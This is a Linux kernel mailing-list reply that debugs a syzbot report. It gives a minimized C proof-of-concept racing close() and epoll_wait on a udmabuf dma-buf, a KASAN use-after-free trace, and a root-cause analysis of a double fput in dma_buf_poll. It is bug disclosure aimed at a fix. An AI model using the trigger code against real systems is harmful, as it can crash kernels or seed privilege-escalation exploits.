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([2001:ee0:50f5:a230:db34:1b4d:d1d7:db98]) by smtp.gmail.com with ESMTPSA id b185-20020a6334c2000000b0061f42afa8d0sm90331pga.6.2024.05.03.04.54.25 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128); Fri, 03 May 2024 04:54:29 -0700 (PDT) Message-ID: <7c41cf3c-2a71-4dbb-8f34-0337890906fc@gmail.com> Date: Fri, 3 May 2024 18:54:22 +0700 Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 User-Agent: Mozilla Thunderbird Subject: Re: [syzbot] [fs?] [io-uring?] general protection fault in __ep_remove To: syzbot , axboe@kernel.dk, brauner@kernel.org, io-uring@vger.kernel.org, jack@suse.cz, linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com, viro@zeniv.linux.org.uk References: <0000000000002d631f0615918f1e@google.com> Content-Language: en-US Cc: Sumit Semwal , =?UTF-8?Q?Christian_K=C3=B6nig?= , linux-media@vger.kernel.org, dri-devel@lists.freedesktop.org, linaro-mm-sig@lists.linaro.org, linux-kernel@vger.kernel.org, Laura Abbott , Kees Cook From: Bui Quang Minh In-Reply-To: <0000000000002d631f0615918f1e@google.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Hi everyone, I've tried to debug this syzkaller's bug report Here is my minimized proof-of-concept #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define err_msg(msg) do {perror(msg); exit(1);} while(0) void *close_thread(void *arg) { int fd = (int) (long) arg; close(fd); } int main() { int fd, dmabuf_fd, memfd, epoll_fd, ret; struct udmabuf_create dmabuf_arg = {}; struct epoll_event event = { .events = EPOLLIN | EPOLLOUT, }; pthread_t thread; memfd = memfd_create("test", MFD_ALLOW_SEALING); if (memfd < 0) err_msg("memfd-create"); if (ftruncate(memfd, 0x1000) < 0) err_msg("ftruncate"); ret = fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); if (ret < 0) err_msg("add-seal"); fd = open("/dev/udmabuf", O_RDWR); if (fd < 0) err_msg("open"); dmabuf_arg.memfd = memfd; dmabuf_arg.size = 0x1000; dmabuf_fd = ioctl(fd, UDMABUF_CREATE, &dmabuf_arg); if (dmabuf_fd < 0) err_msg("ioctl-udmabuf"); epoll_fd = epoll_create(10); if (epoll_fd < 0) err_msg("epoll-create"); ret = epoll_ctl(epoll_fd, EPOLL_CTL_ADD, dmabuf_fd, &event); if (ret < 0) err_msg("epoll-ctl-add"); pthread_create(&thread, NULL, close_thread, (void *) (long) dmabuf_fd); epoll_wait(epoll_fd, &event, 1, -1); return 0; } When running the above proof-of-concept on Linux 6.9.0-rc6 with KASAN and the following patch for easier reproducible, I got the KASAN bug report diff --git a/drivers/dma-buf/dma-buf.c b/drivers/dma-buf/dma-buf.c index 8fe5aa67b167..de3463e7d47b 100644 --- a/drivers/dma-buf/dma-buf.c +++ b/drivers/dma-buf/dma-buf.c @@ -27,6 +27,7 @@ #include #include #include +#include #include #include @@ -240,6 +241,7 @@ static __poll_t dma_buf_poll(struct file *file, poll_table *poll) struct dma_resv *resv; __poll_t events; + mdelay(1000); dmabuf = file->private_data; if (!dmabuf || !dmabuf->resv) return EPOLLERR; > while true; do ./mypoc_v2; done ================================================================== BUG: KASAN: slab-use-after-free in __fput+0x164/0x523 Read of size 8 at addr ffff88800051e830 by task mypoc_v2/402 CPU: 0 PID: 402 Comm: mypoc_v2 Not tainted 6.9.0-rc5+ #11 Call Trace: dump_stack_lvl+0x49/0x65 ? __fput+0x164/0x523 print_report+0x170/0x4c2 ? __virt_addr_valid+0x21b/0x22c ? kmem_cache_debug_flags+0xc/0x1d ? __fput+0x164/0x523 kasan_report+0xae/0xd5 ? __fput+0x164/0x523 __fput+0x164/0x523 ? __pfx___schedule+0x10/0x10 task_work_run+0x16a/0x1bb ? __pfx_task_work_run+0x10/0x10 ? __x64_sys_epoll_wait+0x107/0x143 resume_user_mode_work+0x21/0x44 syscall_exit_to_user_mode+0x5d/0x76 do_syscall_64+0xb5/0x107 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x44d99e Code: 10 89 7c 24 0c 89 4c 24 1c e8 2e 8c 02 00 44 8b 54 24 1c 8b 54 24 18 41 89 c0 48 8b 74 24 10 8b 7c 24 0c b8 e8 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 32 44 89 c7 89 44 24 0c e8 6e 8c 02 00 8b 44 RSP: 002b:00007fffaec21770 EFLAGS: 00000293 ORIG_RAX: 00000000000000e8 RAX: 0000000000000001 RBX: 00007fffaec219e8 RCX: 000000000044d99e RDX: 0000000000000001 RSI: 00007fffaec217c4 RDI: 0000000000000006 RBP: 00007fffaec217f0 R08: 0000000000000000 R09: 00007fffaec2167f R10: 00000000ffffffff R11: 0000000000000293 R12: 0000000000000001 R13: 00007fffaec219d8 R14: 00000000004dc790 R15: 0000000000000001 Allocated by task 402: kasan_save_stack+0x24/0x44 kasan_save_track+0x14/0x2d __kasan_slab_alloc+0x47/0x55 kmem_cache_alloc_lru+0x12a/0x172 __d_alloc+0x2d/0x618 d_alloc_pseudo+0x14/0x8d alloc_path_pseudo+0xa5/0x165 alloc_file_pseudo+0x7f/0x124 dma_buf_export+0x37f/0x894 udmabuf_create+0x53e/0x68c udmabuf_ioctl+0x133/0x212 vfs_ioctl+0x7e/0x95 __do_sys_ioctl+0x51/0x78 do_syscall_64+0x9b/0x107 entry_SYSCALL_64_after_hwframe+0x76/0x7e Freed by task 403: kasan_save_stack+0x24/0x44 kasan_save_track+0x14/0x2d kasan_save_free_info+0x3f/0x4d poison_slab_object+0xcb/0xd8 __kasan_slab_free+0x19/0x38 kmem_cache_free+0xd6/0x136 __dentry_kill+0x22d/0x321 dput+0x3b/0x7f __fput+0x4f1/0x523 __do_sys_close+0x59/0x87 do_syscall_64+0x9b/0x107 entry_SYSCALL_64_after_hwframe+0x76/0x7e The buggy address belongs to the object at ffff88800051e800 which belongs to the cache dentry of size 192 The buggy address is located 48 bytes inside of freed 192-byte region [ffff88800051e800, ffff88800051e8c0) The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x51e flags: 0x800(slab|zone=0) page_type: 0xffffffff() raw: 0000000000000800 ffff888000281780 ffffea0000013ec0 0000000000000002 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88800051e700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff88800051e780: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc >ffff88800051e800: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88800051e880: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff88800051e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ================================================================== Root cause: AFAIK, eventpoll (epoll) does not increase the registered file's reference. To ensure the safety, when the registered file is deallocated in __fput, eventpoll_release is called to unregister the file from epoll. When calling poll on epoll, epoll will loop through registered files and call vfs_poll on these files. In the file's poll, file is guaranteed to be alive, however, as epoll does not increase the registered file's reference, the file may be dying and it's not safe the get the file for later use. And dma_buf_poll violates this. In the dma_buf_poll, it tries to get_file to use in the callback. This leads to a race where the dmabuf->file can be fput twice. Here is the race occurs in the above proof-of-concept close(dmabuf->file) __fput_sync (f_count == 1, last ref) f_count-- (f_count == 0 now) __fput epoll_wait vfs_poll(dmabuf->file) get_file(dmabuf->file)(f_count == 1) eventpoll_release dmabuf->file deallocation fput(dmabuf->file) (f_count == 1) f_count-- dmabuf->file deallocation I am not familiar with the dma_buf so I don't know the proper fix for the issue. About the rule that don't get the file for later use in poll callback of file, I wonder if it is there when only select/poll exist or just after epoll appears. I hope the analysis helps us to fix the issue. Thanks, Quang Minh.